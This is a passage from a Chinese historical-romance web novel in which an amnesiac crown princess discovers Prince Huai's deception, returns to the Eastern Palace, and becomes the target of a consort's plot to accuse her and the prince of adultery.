小婢子毕竟年幼,吓得结结巴巴的:“外头、街上、好像就在我们家隔壁、好、好大的烟。” 傅棠梨匆忙之间,抬头望去,只见墙外浓烟滚滚而来,一片灰蒙蒙的,遮住了月亮,夜色黯淡,天地骤然变得混沌起来。 人们的惊呼声越来越大,急呼“救火、救火!”,许多人惊慌地奔跑着,脚步纷沓,或有小儿啼哭、妇人尖叫、男人怒吼,呼儿喊娘,乱哄哄的一片。 云娘果断,马上拉着傅棠梨朝大门外奔去,口中道:“夫人别怕,我们这人手充足,必能保护夫人无恙,夫人先出门避避。” 傅棠梨身不由己,被云娘拖着,跑出了宅院。 街道上都是人,四下逃窜,黑烟愈浓,铺天盖地,情势过于慌乱,一时分辨不出火从何处起。 甫一出门,立即有一群人迎上来,模模糊糊的看不太清楚,依稀皆是魁梧汉子,约有数十人,个个人高马大,一色劲装,持着佩刀,行动间带着杀伐之气,纵然是在这般混乱中,依旧有条不紊地结成阵列,拢在傅棠梨左右两侧。 领头一人大步上前,抱拳道:“小的为夫人肃清道路,夫人请随小的来。” 云娘沉声道:“莫啰嗦,快!” 此情此景,容不得傅棠梨多做思索,她跟着就要举步。 但是,就在此际,有人大喝了一声:“且慢!” 旋即火光通明,另有一队人马举着火把围了上来,高声叫道:“兀那贼人,快快放开太子妃!” 这一句话,如同惊雷,震得傅棠梨耳中轰轰作响,她浑身一颤,顿住脚步,霍然抬眼望去。 后来的这一队人马穿着衙役的服饰,显是官府中人,持着锻棍、铁尺并铁索等兵器,冲过来和那群汉子形成对峙。 领头的那汉子冷哼了一声“找死”,当即一挥手,手下的人迅速调整阵列,摆出了进攻的姿势,霎那时,杀气大盛,甚至盖过了浓烟。 云娘气得跺脚,怒声道:“你们这群蠢人,这会儿闹什么,待火烧起来,夫人若有闪失,你们死罪亦难赎!还不快带夫人走!” “太子妃勿惊,并未走水。”从那群官差中走出一个中年男子,他身穿浅绿的七品官服,面容干枯清瘦,几步向前,朝傅棠梨纳头便拜,朗声道,“下官乃咸阳县令何友松,为引太子妃现身,故而在旁边宅子烧了几堆湿稻草,无大碍,如今既见太子妃无恙,实乃万千之喜。” 这何县令早间出去办事,至黄昏始归衙署,早有李姓商人等候多时,报太子妃就在咸阳治下的永寿镇,被歹人所囚,请县令速速去救。 何县令大惊,立即打点县衙上下禁卒并民壮等数十人,急匆匆赶往永寿,依着那李姓商人指引的方向一路到了这宅院,待要破门而入,却被一群壮汉所阻。 那群壮汉也不说缘由,只是板着脸,喝令闲杂人等速速退去。 何县令乃当地父母官,在这里却被指为“闲杂人等”,他并不生气,反而暗暗心惊,那群壮汉气势与身量皆异于常人,显然并非普通百姓,倒像是行伍打仗的军士之辈,何县令是个聪明的,情知这其中必有重大干系,难以善与。 若是旁人也就罢了,何县令犯不着冒这个险,顶多回头去往长安报信,但太子妃当日对他有恩、对咸阳百姓有恩,何县令心性磊落,奉行知恩图报,担心若是错过时机,这伙贼人带着太子妃离开,恐怕再难寻觅,故而不能退。 云娘情知中计,心中大恨,上去挡在何县令面前:“何来贼人,冒充官府,骚扰民宅,一派胡言。” 她一边拉着傅棠梨往回退,一边朝那群大汉使眼色:“赶走他们!” 大汉们煞气腾腾,齐刷刷抽出腰间的佩刀,“哐呛”之声迸出,眼见得就要冲杀过去。 “住手!”傅棠梨倏然一声断喝,向前踏了一步。 大汉们听见傅棠梨发话,明显犹豫了一下。 云娘还想拉住傅棠梨,傅棠梨抬手用力一甩,将云娘推开,厉声质问:“大胆,你敢拦我?” 云娘被推得一个踉跄,险些跌倒,她尚未站稳,傅棠梨已经大步走向前方。 那群大汉有些不知所措,持着刀,相互看了看,谨慎地止住了攻势。 何县令已经站了起来,在如此剑拔弩张的危急关头,他依旧毫无惧色,面上露出诚挚的喜悦之情,对傅棠梨恭敬地道:“太子妃那日落水,下官愧疚万分,久久难以安寝,今日收到 报信,实在喜出望外,太子妃宅心仁厚,得上苍垂怜,乃咸阳之幸,亦是下官之幸,还请太子妃随下官回京,与太子早日团聚。” 傅棠梨听了何县令一番话,心头大震,似有狂风卷起巨浪,呼啸着击碎礁岩,乱石飞溅,砸得人眼冒金星,几至眩晕,至此,堆积在心中的疑虑终于有了着落。 玄衍果然是在骗她。 她的身体摇晃了一下,勉强站稳了,从牙缝中挤出字来:“何大人,你好好看着我,看仔细了,有没有认错人?我当真是太子妃吗?” 何县令听这言语有异,目光注定傅棠梨,讶然道:“太子妃何出此言?那日在咸阳官邸,太子妃施恩于下官,下官铭记于心,怎么会认错人?” 云娘在旁犹自试图挽回,极力否认:“这狗官胡说八道,夫人和主人成亲多年,恩爱和睦,怎么和什么太子妃扯得上干系,莫非是这狗官贪图夫人美貌,意图拐骗了去,夫人切莫被他所蒙蔽。” 何县令身后的衙役中有人不服,抗声道:“咄,无知妇人,莫要胡乱攀咬,你问问这咸阳地界的百姓,我们何大人公正清廉、爱民如子,岂会行此不义之事?” 傅棠梨记起那日去镇上沽酒,卖酒妇人尝提及,“我们咸阳县令何大人是个难得的好官”,百姓口碑如此,足见其人品性端方无疑。 一念至此,她心中百转千回,把这些时日所历都当作浮光掠影,在脑海中飞快地过了一遍,只一瞬间,便拿定了主意,看着何县令,冷静地道:“我脑部为外物所创,失了记忆,往日种种皆不可辨识,方才滞留于此,幸得何大人来接,大善,既如此,便随大人一道回去吧。” 云娘心中叫苦不迭,“噗通”跪了下来,颤声道:“夫人请留步,您莫要轻信外人所言,一切还待主人回来再做决断为好。” 寻常百姓方才见这架势,早已经各自躲藏回家,在云娘说话之间,周围的人却越来越多,不知是从哪里冒出来的,默默逼近。此时浓烟渐渐散去,月色笼着雾气,火把摇曳,影影绰绰地照着四方,这些人容形装束与原先守在门口的那群汉子一般无二,如同潜伏在黑暗中的狼群,矫健而凶猛。 傅棠梨猛然省起,之前家中小婢子有云“重兵把守”之语,原来应在此处。 何县令生性刚硬,若不然,也不敢扯着工部的官员半夜去堵太子,此刻,他毫无退缩之意,从属下手中一把抓过刀来,挽起袖子,大声道:“太子妃放心,下官便是豁出性命去,也要带您离开此处!” 何县令甚得人心,属下与其共进退,顿时轰然应诺,各个握紧兵器,当下就要拼命。 而此时,却有一阵急促的马蹄声传来,似铁石击鼓,疾速无比,朝这边过来,顷刻之间便到了近前,男人的声音饱含威严,浑厚而低沉:“何事喧哗?” 那群汉子立即分开两侧,让出一条道来,齐齐俯身躬身,云娘跪地不起,将头伏在地上。 铁骑如鸦群,于夜色中飞掠而来,当先一匹黑马如同闪电,越过人群,到了傅棠梨的面前,马上的骑士猛地勒住缰绳,黑马几乎人立而起,巨大的黑影遮住了月光,压向傅棠梨,她挺直胸膛,仰起脸,望向那个男人。 赵上钧依旧一身道袍,长衣广袖,衣袂随风未落,径直从马上跃下,朝傅棠梨伸出手去,柔声道:“我回来晚了,让你受惊了。” 傅棠梨后退了一步。 何县令当日在渭水岸边是见过赵上钧的,此时一照面,情不自禁变了脸色:“淮……” “我不认得他!”傅棠梨抢在何县令之前,大声喝止,“何大人,此乃无关人士,不须理会!” 何县令未尽之话顿时卡在了喉咙口,他看了看傅棠梨、又看了看赵上钧,心里隐约猜到了什么,他的嘴巴张了又张,半天不能言语,饶是他心志沉稳,也被这一番幕场景震得目瞪口呆。 赵上钧缓缓地收回手,拂了拂衣袖上并不存在的尘埃,他看都没看何县令一眼,只是对傅棠梨微微地笑了一下,语气如常,像是无奈地在哄她:“梨花,别闹了。” 傅棠梨直直地看着眼前这个男人,一时间百般滋味交杂,酸甜苦辣难以分辨,汹涌的浪涛席卷而来,把她抛向高空,又砸向深渊,一切错乱颠倒,叫她身不由己、心不由己,只能这样望着他,冷漠地,如同望着一个陌生人。 她一字一句,清晰地对他说:”我不认得你,也从未见过你,我虽不记事,眼下有父母官在,自会为我做主,你不过路人也,勿惹事,若不然,当此众人面,引出是非话,日后难以收场,于你我皆不宜。” 她说得如此决断。 烟气若有还无,月光黯淡,朦胧的夜色里,一切都如同掩埋在深处的人心,晦涩不可揣测。 赵上钧站在那里,身形高硕如山岳,火光照在他的脸上,光影交界,一半明、一半暗,他面容清绝,宛如仙人,而眼眸幽深冷煞,又似修罗,他的嘴角轻轻地勾了一下,那仿佛是个微笑的模样,声音依旧那么温柔:“无妨,死人是不会乱说话的。” 他抬起手,做了个姿势。 寒光掠起,“刷”的一声,马上的骑兵提起长戟,而那群劲装汉子迅速变幻阵列,步伐声沉沉,顷刻间前后密封,一丝缝隙也无,长刀指向前。 何县令脸色煞白,额头上冒出了冷汗,这情形,看来今夜在场的人,一个活口也难留住,他心胆俱裂,却无半点悔意,握紧了手里的刀,扑过去,护在了傅棠梨的前面,众衙役紧跟其后。 赵上钧的眼眸更暗,沉沉地吐出一个字:“去!” 杀气卷起,金刃之光迸发。 就在这关口,却听傅棠梨又是一声断喝:“且慢!” 赵上钧抬手,又吐出一个字:“止!” 金戈之气凝在半空。 傅棠梨推开何县令,从他背后缓缓走出两步。 赵上钧的脸色变了。 她的头发披散了下来,像流水一般垂在肩头,漆黑而柔软,衬得她的面容宛如白雪,她把发间的金簪拔了下来,用锐利的末端抵住了自己的咽喉,就那样,沉静地看着赵上钧。 众人屏住呼吸,皆不敢言语,四周一片安静,春天的夜晚,空气是潮湿的,火把燃烧时,发出一点“噼啪”的声响,显得额外刺耳。 赵上钧沉默良久,方才开口,声音低得几乎像是在叹息:“如果,我说‘不’呢?” 傅棠梨没有作声,她的手动了一下,簪子刺入喉咙一分,血线沿着她光洁的肌肤流下,在锁骨处凝结成一滴,殷红夺目,而她 的表情平淡,不见一点波澜。 赵上钧的手掩在袖中,握住了拳头,手背上青筋暴起,指节咔嗒作响,但他牢牢地站在原处,脚步没有挪动分毫,只是喃喃地、近乎低语,念了一声她的名字:“梨花……” 太过细微,或许她并未听见,只是保持着固执的沉默。 他缓缓地阖上眼睛,又睁开,他的眼眸深邃,如同夜色下的瀚海,海面平静,而在底下翻滚着暴虐而危险的暗流,足以致命。 “果然。”他很轻地笑了一下,语气和缓而平静,“你又要弃我于不顾吗?一次又一次,总是这样。” 傅棠梨听不懂他的话,也并不打算回应他的话,这个男人欺骗了她,这一点,足以抹杀其他一切缘由,她与他之间,已经无话可说。 她的手紧紧地抓着簪子,一股酸涩的气息从胸口涌上来,在喉咙处卡住了,那种疼痛的感觉更加鲜明,针刺破了、刀子扎下去,苦楚难忍。这个夜晚太冷了,寒气从肌肤透入骨髓,把整个人都冻结住,但她一动不动,挺直了腰,高高地抬起下颌,倔强地僵持着。 隔着夜色,互相望着对方,彼此的神色都是模糊的。 赵上钧长长地吐出一口气,摆了摆手。 属下的士兵无声地退去,如同月落后的退潮,不到片刻,退了个干干净净,连云娘也悄无声息地下去了。 赵上钧慢慢地、一步一步地走过来。 何县令本来试图阻止,但淮王的目光转了过来,不过瞥了一眼而已,那种压迫而肃杀的气息让何县令毛骨悚然,他终究无法承受,颤抖着,默默地避让到一边。 赵上钧走到傅棠梨的面前,她还是没有动弹。 他把她的手按了下来,取走了那支簪子,又从袖中拿出一方帕子,小心地替她把脖子上的血迹拭擦干净,再用帕子把那处伤口包扎起来,细心地打了个结。 傅棠梨低着头,咬着嘴唇,自始自终一声不吭。 最后的时候,他抬起手,揉了揉她的头顶,轻轻地、温存地、像是哄她一样,他好像还叹了一口气,带了一点无可奈何的意味,而后,转身离去,再无一丝迟疑。 她还是低着头,半晌,一滴泪落在手背上。 幸而夜太黑,无人得以窥见。 —————————— 是年开春,洛州刺史王永敬报境内有流民与匪徒勾结,骚扰各州县,声势渐大,颇不安宁,奏请朝廷允其调集兵马辎重,以作未雨绸缪之计。 元延帝命人传淮王与之商。然,屡传不至。 二月间,春汛之期未至,各地州府尚无防备,怀州丹水突然半夜堤坝崩塌,百姓猝不及防,于睡梦间被洪水泥沙所裹挟,至天明,无数村镇化为水泽,两岸哀鸿遍野。怀州刺史使人十万火急报长安,使者在殿上诉说百姓惨状,声泪俱下,闻者莫不心酸。 而这边怀州尚未落定,一日内,齐州又奏报,境内清河决堤,情形亦然。 元延帝为之惊怒,急召大臣,询众意。 前,因郑州及咸阳水患,户部尚书张则与工部尚书林商屡屡针锋相对,未几,张则因过被元延帝所斥,贬出京城。有此前车之鉴,此次大臣们很有默契地保持一致,对决堤的缘由绝口不提,只赶着户部速速拨款赈灾。 新任的户部尚书便是没钱也要咬牙挪出钱来,心中悲苦自不必说,在朝堂上哭得比谁都惨,几乎让人怀疑他家祖宅也在怀、齐两地。 又论及前往当地赈灾事宜,因太子曾赴郑州,众人云其前辙可鉴,傅方绪等老臣力推太子主持。元延帝左右思之,允。 但太子尚未启程,忽接咸阳传报,寻到太子妃。太子欣喜若狂,再也顾不得什么水患赈灾,推了差事,急急遣人去接太子妃回宫。 先是时,太子妃落渭水,被洪涛所卷,顺流漂至永寿,遇老妇于河边浣衣,呼人救之。 太子妃受创失忆,孤身无所依,老妇心善,遂收为养女。幸而有一李姓商贾识得太子妃,过永寿见之,大惊,报官府,咸阳令何友松急带人迎回太子妃,并将此情形逐一禀告长安。 东宫詹事陈虔奉太子令,连夜赶往咸阳,宝马香车侍奉,百十骑兵护卫,仪仗随行,声势隆重。及至天明见面,陈虔满面喜色,顿首再三,扶傅棠梨登车,往长安去。 一路上,陈虔极言太子牵挂之意,至食不能寝,夜不能寐,日日忧心,闻太子妃返,遍赏宫人,东宫上下喜气洋洋,皆翘首以盼,又提及太子与太子妃往日恩爱,种种情深,羡煞鸳鸯,应是天公垂怜,许太子妃平安归来,不负太子心意虔诚。 傅棠梨听罢,了无印象,只觉一片茫然。 至宫门外,换乘轿辇,再至东宫,落轿,傅棠梨的脚才跨出辇厢,还未站稳,一个男人就扑了过来,把她抱了个满怀。 “二娘,二娘,你终于回来了!”男人的声音急促而颤抖,听过去满含深情。 左右皆拜,口称:“见过太子殿下。” 这就是太子? 太子身上带着一种熏衣龙涎香的味道,直扑鼻端,傅棠梨顿觉浑身起了一阵鸡皮疙瘩,恶寒不已。 在永寿小镇时,那个叫玄衍的男人,也曾这样拥抱她,不、他甚至抱得更紧,他身上有着淡淡的梅花香气,那种感觉令她心安,反而如今,身为太子妃,与太子重聚,却难以忍受,这岂非荒谬? 傅棠梨一念及此,顿觉心慌意乱,情不自禁后退了一步,不着痕迹地挣脱了太子的怀抱,上下打量了他几眼。 毫无疑问,他是个年轻而英俊的男人,着紫袍,戴金冠,腰佩玉蹀躞,服饰高贵,但此际他面容憔悴,眼圈发青,眼睛布满血丝,下巴冒出了青青的胡子茬,看那神情,好似要哭出来的模样。 样貌尚可,性情软弱,傅棠梨迅速在心中下了一个判定。 太子赵元嘉显然情绪激荡:“都是孤的错,那时候,要是孤一直陪在你身边就好,你就不会出事了,孤回来以后,一直很后悔,早知道,当时宁可让你多责骂两句……” “我为何要责骂殿下?”傅棠梨声音柔和,适时地问了这么一句。 许久不见,她还是和从前一般,仪态端庄,神情温婉,用清澈的眼睛望着他。 “呃?”赵元嘉骤然语塞,心虚地看了看左右。 陈虔上前解围:“太子过于欣喜,以至忘情,怎么站在门口说话?太子妃头部有伤未愈,不宜劳累,还是先扶太子妃进去歇息吧。” “是、是。”赵元嘉殷勤地托住了傅棠梨的手,为她引路,“可怜见的,你竟然把什么都忘了,总算人是回来了,平安就好,再多的事,孤以后和你慢慢说。” 及至入内,宫舍华美,轻纱曼垂,玉炉沉香,银鹤衔灯,水晶屏风外隔着珍珠帘,赤金妆台上摆着琉璃镜,傅棠梨环顾四周,并无不适之处,想来是皆是旧时模样。 内殿女官率宫人上前跪拜,几乎落泪:“太子妃总算回来了,可把奴婢们担心死了。” 赵元嘉抓着傅棠梨的手,久久不放,拉着她坐下,试图再次抱她:“二娘,你在外面受苦了,来,让孤看看。” 傅棠梨头皮发麻,下意识地往后一缩:“殿下且慢……” 赵元嘉牵挂已久,好不容易盼得她归来,喜不自胜,况且难得能和她亲昵一番,更觉心神荡漾,他急切地搂住她的肩膀,把脸贴了过去:“怎么,哪里不舒服?” 就在这当口,冷不防傅棠梨“啊”了一声,眼睛一闭,就那么软绵绵地向后倒了下去。 赵元嘉大惊,差点来不及扶住她:“二娘、二娘,你怎么了?” 第60章 第60章太子妃与淮王通奸之罪 左右惊呼,内殿女官急忙带着宫人围过来:“不得了,太子妃晕过去了,殿下快让开,快、快、扶太子妃到床上,去、去、把窗子关上,别让太子妃着凉了,太医、太医,今儿怎么太医没过来?不像话!” 吵吵嚷嚷,一片混乱。 陈虔见状,飞跑着去传唤太医。 不多时,许掌令亲自带着几个老太医赶了过来:“下官已听闻太子妃之事,本待太子妃回宫稍作休息,明日再过来请诊,是下官怠慢了,有罪。” 正说话间,傅棠梨已经缓缓地睁开了眼睛。 宫人又是一阵惊呼:“太子妃醒了、醒了!” 傅棠梨脸色苍白,好似十分痛苦地呻吟着:“我的头好疼啊……” 赵元嘉坐到床边,握住了傅棠梨的手,满脸焦虑之色,柔声安抚她:“二娘莫怕,孤在此。” 傅棠梨把手抽了回来,捂着额头,剧烈地 喘息:“疼、这里好疼,我这是怎么了,我是不是快要死了?” 许掌令赶紧把太子请开,老太医们轮番上前,紧张地为傅棠梨把脉、看诊、诸般询问。 傅棠梨蹙着眉头,气息虚弱,喘一口气都要歇上许久,断断续续地对太医道:“我自被人从河中救起后,就时常头疼,这次发作最为厉害,方才见有陌生男子贴近,一时情怯心悸,不知怎的,一下就不省人事了,这会儿还难受得很。” 赵元嘉在旁,忍不住出声抗议:“二娘,孤是你的夫君,怎么是陌生男子?” 傅棠梨看了赵元嘉一眼,面露不悦:“可是,我不记殿下,我什么都不记得了,这些日子流落在外,仓皇无所依,只觉这偌大世界,竟无一人是我故知,惶惶不可终日,似惊弓之鸟,殿下难道不能体恤吗?” 赵元嘉听得又心疼,急急摆手:“孤并无这个意思,二娘不要多心。” 旁边的太医此时亦道:“太子妃当日脑部必是受了重创,血瘀其中,阻塞神思,才引发这失魂及头疼之症,眼下这情形,除药物调理外,还须清心宁神、静思安养为宜,切忌大喜大悲、大惊大怒。” 许掌令在医术上不甚精通,但惯会做好人,闻言亦点头:“太子妃今日才回来,依下官看,这里人多,乱哄哄的,很不妥,还是先避让出去,让太子妃清静下来,缓一缓神才好。” 既太医这么说,赵元嘉不得不听。 他曲意款款,轻声和傅棠梨说了好些话,大抵是叫她宽心休养,总之来日方才,他定会好好照顾她的,不必担心,直到傅棠梨面露倦容,阖眼昏昏欲睡,他这才领着众人,依依不舍地走了,宫舍里只留内殿女官及三五宫人。 宫门掩上。 待周遭安静下来后,傅棠梨面色好了一些,又睁眼,看了看左右,慢慢地坐起身。 内殿女官急急上前服侍,拿了件貂皮大氅给傅棠梨披上,取了缂丝引枕垫在傅棠梨身后,命宫人把错金炭盆挪到榻边,又添了一把合香红萝炭,殷勤备至。 “太子妃不若多躺着,若是嫌太亮了,我叫人把帘子都遮上,再把熏香换成东阁藏春,供您小憩片刻?” 这内殿女官看过去是个伶俐的。 傅棠梨摆了摆手,慵懒地靠着引枕:“你叫什么名字?是我身边服侍的人吗?” 女官笑道:“太子妃原是忘了,我姓方,单名娴,忝为东宫司则,太子妃殿里一应杂务,是我帮着打理的。” 傅棠梨的目光在四周扫了一眼,她看不出什么,这些宫人在她眼中都是陌生的,她冷静地发问:“这么说,你原本就是东宫的人,难道我嫁入东宫时,身边没带几个旧奴仆?” 那自然是有的,一个黛螺、一个胭脂,都是太子妃的心腹,正因如此,太子得知太子妃失忆后,马上把这两个婢子逐出了东宫。太子立意要和太子妃修好,自然容不得旁人捣乱。 方司则手心捏了一把汗,不敢大意,按着太子早先嘱咐过的,镇定地答道:“太子妃身边原有两个贴身婢子,是跟着您从渭州西宁伯府出来的,多年远离故土,您出嫁时,赏了恩典,打发她们两个回渭州和家人团聚去了。” 她偷偷揣摩着傅棠梨的脸色:“若不然,我这就遣人去渭州,再把她们两个叫回来?” 傅棠梨原是出身尚书令傅家,但因生母早逝,外祖母偏疼,自幼养在渭州西宁伯府上,三年前才回到长安,这些事情,路上陈虔已经和她提及,此时听到这番情形,也寻不出什么不妥。 她揉了揉眉心,叹了一口气:“那不必,我也不至如此不近人情。” 她沉吟了一下,又问:“我父母何在?去和他们说一声,请他们明日入宫,和我说说话。” “是。”方司则立即应下。 她应得过于爽快,倒叫傅棠梨有几分疑心,实在是被骗过一回,不得不让傅棠梨提起十二万分小心。 傅棠梨眼波流动,露出了一点似笑非笑的神色:“对了,方才我听太子提及,我落水之前,曾责骂于他,不知当时是何缘故?” 方司则是个聪明机警的,若不然,赵元嘉也不会指派她来应对这场面,她不慌不忙,做出一副无辜的模样:“啊,这个,我未曾看见,并不知晓。” 她说着,笑了起来,用轻松的语气道,“太子妃是出了名的端庄正经,太子呢,是个温吞性子,或许是那时候太子又有什么不规矩的地方,您逮着说他几句,我们都见惯了,哪里追究什么缘故?” 不过寻常小夫妻间的拌嘴,没什么破绽,甚至听上去太子和蔼可亲、太子妃咄咄逼人,实在不妙。 傅棠梨想了想,坐正了身子,不动声色地问道:“那么,这东宫中,太子还有其他妃妾吗?” 这个问题真要命,方司则绕不过去,硬着头皮回道:“太子是端方君子,除了太子妃,东宫只有一个林承徽。” 傅棠梨精神一震,面上却变了脸色,抬手扶住额头:“按陈詹事说的,我和太子新婚燕尔,正是浓情蜜意之时,怎么冒出个承徽?好、好啊,原来你们都是在哄我的。” 方司则见势不妙,急忙找补:“那都是先前的事儿了,如今太子待太子妃可是一心一意的,太子妃失踪这些日子,太子日夜忧思,连林承徽的院子也不曾踏足,不过日常叫太医过去探视。” 傅棠梨“嘶”了一声,眉头蹙了起来,又露出痛苦难耐的表情:“太医过去探视什么?” 反正瞒不过去,太子妃迟早要知道的。 方司则吞吞吐吐:“承徽怀有身孕,多少需要看顾一二。” “她居然还怀了身孕?”傅棠看过去吃惊极了,她咬着嘴唇,身体发抖,整个人摇摇欲坠。 “太子妃,您别生气,您冷静些。”方司则惊慌失措。 “岂有此理!这、这……”傅棠梨急促地喘了两下,手滑落下来,眼睛一闭,慢慢地又倒了下去。 “太子妃!”宫人们惊呼起来。 果然,太子妃虽然不记事了,但气性还是原来一般高傲,完全糊弄不来。 方司则吓得魂都飞了,慌慌张张地跑了出去:“不好了,太医、太医快来,太子妃又晕过去了。” —————————— 林婉卿容色倾城,未嫁时有艳绝长安之名,兼之禀性柔媚,有娇花弱柳之态,这会儿掩面而泣,泪如雨下,不一会儿就把手里的帕子都打湿了,真是说不出的楚楚可怜,若叫寻常男子见着了,能酥掉半边身子。 偏偏这里并无男子,只有一个林贵妃。 林贵妃啐了她一口:“没出息的东西,你在我这儿哭什么?怎么不留着点精神劲去哄太子。” 林婉卿抽抽搭搭的:“我已经好几日不曾见到太子了,原以为有了身孕,太子会多看重我几分,没曾想到……”她流着泪,目中露出了咬牙切齿的恨意,“那该死的傅二娘,出了这档子事,居然还能活着回来,老天何其无眼!如今太子视她如珠似宝,我这往后的日子该怎么办啊?” 她说着,哭得愈发哀婉:“娘娘,您可得为我做主啊,傅二娘这些日子,分明和淮王苟且成奸,她居然还有脸回来,真是恬不知羞,我若不叫她现出原形,怎么对得起太子?” 林贵妃慢条斯理地瞥了林婉卿一眼:“我叫你把那商贾及相关人证都找来,你办妥了吗?” “妥了、妥了。”林婉卿拭着眼泪,急急点头,“父亲已经把他们安排好,许了重金酬劳,一切都交代妥当,只待娘娘吩咐。” 林贵妃目中闪过一道厉光:“正好,眼下有个契机……” 正说到此处,殿外的宫人高声禀道:“圣上驾到。” 林贵妃马上收了口,对林婉卿做了个手势。 林婉卿会意,立即止住哭泣,低了头,悄无声息地绕过正殿,从后面退下去了。 元延帝走了进来,他的面色不太好,看过去有些阴沉。 左右宫人俯身跪拜。 林贵妃迎上去,搀着元延帝的手,到榻上坐下。 她亲自点了一炉清心的迦南沉香,奉在案头,又斟了一盏顾渚紫笋茶捧上,再站到元延帝的身后,伸出纤纤玉手为他轻轻揉搓肩膀,柔声道:“陛下这几日为国事太过操劳了,瞧着气色不太好,今日在臣妾这里好好歇歇,陛下若是累坏了身子,心疼的可是臣妾。” 元延帝享受着贵妃的服侍,半闭着眼睛,“嗯”了一声。 林贵妃觑探着元延帝的神色,装作若无其事的模样,絮絮闲聊:“臣妾听说太子妃回来了,真是可喜可贺,不枉太子多方寻觅,总算是有惊无险。” 元延帝淡淡地道:“是,太子妃回来了,但听说她脑子碰坏了,不太记事,太子正苦恼着, 如今皇后病重,这事情就由你酌情去办,给太子妃赏赐些药材,算做朕这个做父皇的心意。” 林贵妃温顺地应下了,随后又面露担忧之色,问道:“也不知皇后娘娘病况如何,臣妾只怕皇后见了臣妾要生气,不太敢去未央宫探望,其实这心里头牵挂得很。” 元延帝睁开眼睛,捏了捏林贵妃的手:“她这两日尚好,你别过去,见之无益。” “既然皇后尚好……”林贵妃趁机攀上元延帝的手臂,贴着他的身体,腻声道,“那陛下面色不佳,又是因何而烦忧呢?臣妾愿为陛下解忧。” 元延帝“呵”了一声:“你一个深宫妇人,见识短浅,能为朕解什么忧?莫问罢。” 林贵妃的身子柔若无骨,慢慢地俯下来,跪在元延帝的膝边,用脸颊摩挲着他的手背:“臣妾斗胆,猜上一猜,陛下是不是为了淮王之事而烦忧?” 元延帝眯起眼睛,低下头,用一种意味不明的目光盯着林贵妃:“斗胆?你胆子确实不小。” 他并没有斥责或者阻止她。 淮王近来颇不安分,先是在咸阳渭水岸边率部屠戮流民,又擅自将工部官员斩首示众,近来更是屡屡离京,行踪不明。 元延帝放下的心又逐渐提了起来,他甚至怀疑淮王并未负伤,先前种种都是在欺骗他。淮王为何要这么做?莫非淮王已经知晓是他将破甲弩暗中赠予突厥人、也是他授意李颜阻拦援军?这种疑虑一旦生出,元延帝顿感寝食难安。 长久以来,在人前,元延帝一直是个仁善而友爱的兄长,他曾经那么疼爱淮王、信任淮王,他不容忍旁人在他面前对淮王有丝毫不敬,但是,现在的情形却不一样了。 元延帝需要一个理由,一个能够置淮王于死地的理由。 林贵妃陪伴元延帝多年,是他身边最亲近的人,她比任何人都明白元延帝的心思。 她仰起脸,直面皇帝的目光,声音柔软,但所言却石破天惊:“臣妾正要禀告陛下知晓,太子妃落水,是淮王救了她,前些日子,淮王与太子妃藏身于咸阳永寿镇,同住同行,俨然是一对奸夫□□,臣妾不忍太子被欺、不忍皇室蒙羞,故而斗胆将此事禀明陛下,请陛下圣裁。” “淮王和太子妃?”元延帝下意识地笑了一下,怔了半晌,又笑了一下,笑声突兀,“你在说什么胡话?” “臣妾所言句句属实,若有半字虚言,管叫臣妾身首异处,不得好死。”林贵妃说得斩钉截铁。 元延帝慢慢变了脸色,他一把捏住林贵妃的下巴,逼近她,目光如剑:“林氏,你知道自己在说什么吗?” 林贵妃素来是元延帝心尖上的人儿,元延帝爱的就是她善解人意,譬如眼下,她言语温柔,把该说的话都替他说了:“陛下,此事证据确凿,绝非凭空捏造,淮王与侄妇苟且,丧伦败行,此禽兽也,当褫夺兵权,交由宗正寺及大理寺会审,定其罪,以正纲常。” 淮王和太子妃通奸?这听过去未免太过荒谬。 但是,有什么要紧呢?淮王高傲且孤僻,素不与人交往,自出家后,更是长居山间道观,不问世事,叫人丝毫抓不到破绽之处,现如今,好不容易有了这桩违逆人伦的罪名,至少先坐实了,后面再论。 但是…… 元延帝捏住林贵妃的手越收越紧,脸上的神色阴晴不定,半晌,他挑了挑眉毛,低声似是自语:“想叫淮王认罪,谈何容易。” 案几上的迦南沉香燃烧着,香气袅袅杳杳,缠绕在林贵妃的眉眼间,飘拂不定,她在烟絮中露出了一个妩媚的笑容:“臣妾自有法子,叫淮王心甘情愿认下这罪过,陛下尽管放心好了。” —————————— 入了春后,雨水渐多,正如此际,雨幕笼罩宫城,周遭的一切都变得湿漉漉的,淅淅沥沥的声音不停地敲打着檐上的明瓦,杂乱无章,叫人心烦。 宫中一早便遣人过来传唤太子妃觐见圣驾。 傅棠梨才回宫没两日,借着林承徽怀孕的由头发作了一番,眼下正和太子冷战,太子却不计较,听得元延帝召见,殷勤地陪同前往。 到了紫宸殿,此刻天光黯淡,大殿前方金壁耸立,雕刻云纹饕餮,兽面威压,怒目圆睁,高柱上盘绕诸天神龙,利爪如勾,阴影重叠,迷海生雾,龙爪似乎下一刻就要破云而出。 宫人垂首俯身,似泥塑木雕,千牛卫持长戟拱卫殿上,威严肃穆。 元延帝端坐上首龙座,面色阴沉,林贵妃盛妆华服,侍立帝驾之后,宗正寺卿安王和大理寺卿曹升候在一旁,下方跪着三个布衣百姓,神情畏缩,面目寻常,瞧不出什么端倪。 大殿上的气氛沉郁而诡异,这让傅棠梨生出了隐约的不祥之感,她行了礼,垂下手,偷偷地勾了勾赵元嘉的袖子。 赵元嘉如今对他的太子妃算得上十分体贴,他得到暗示,立即道:”父皇今日唤二娘过来,有何吩咐?二娘如今身子不太好,若没要紧事,不若先叫她回去歇着,儿臣可代劳。” 元延帝看了看赵元嘉,又看了看傅棠梨,脸色复杂,缄口不言。 倒是林贵妃发话了,她的目光掠过傅棠梨,似笑非笑的:“那不成,今儿这桩事,正与太子妃相关,旁人走得,她可走不得。” 傅棠梨心里打了个突。 赵元嘉那边还问:“这话怎说?是何事?” 就在此时,殿外宫人禀:“淮王到。” 外间的雨似乎大了,赵上钧踏雨水而至,步履间带着潮湿的水气,高髻束冠,深衣鹤氅,广袖垂地,似从山间云雾深处来,他进了大殿,目不斜视,没有多看任何人一眼,只是在丹阶下立定,一丝不苟地朝元延帝施了礼:“陛下召臣,有何要事?” 元延帝看着赵上钧,半晌,叹了一口气,似乎是有什么话不忍说出口,他摆了摆手,对旁边道:“今日所涉,乃家事,朕难启齿,皇后不能出面,便交由贵妃处置,贵妃,你说吧。” 林贵妃领了圣意,走下丹阶,对着下首跪的一个布衣百姓发话:“李贾,你当日是怎么找到太子妃的?如今圣驾之前,不得欺瞒,还不如实道来。” 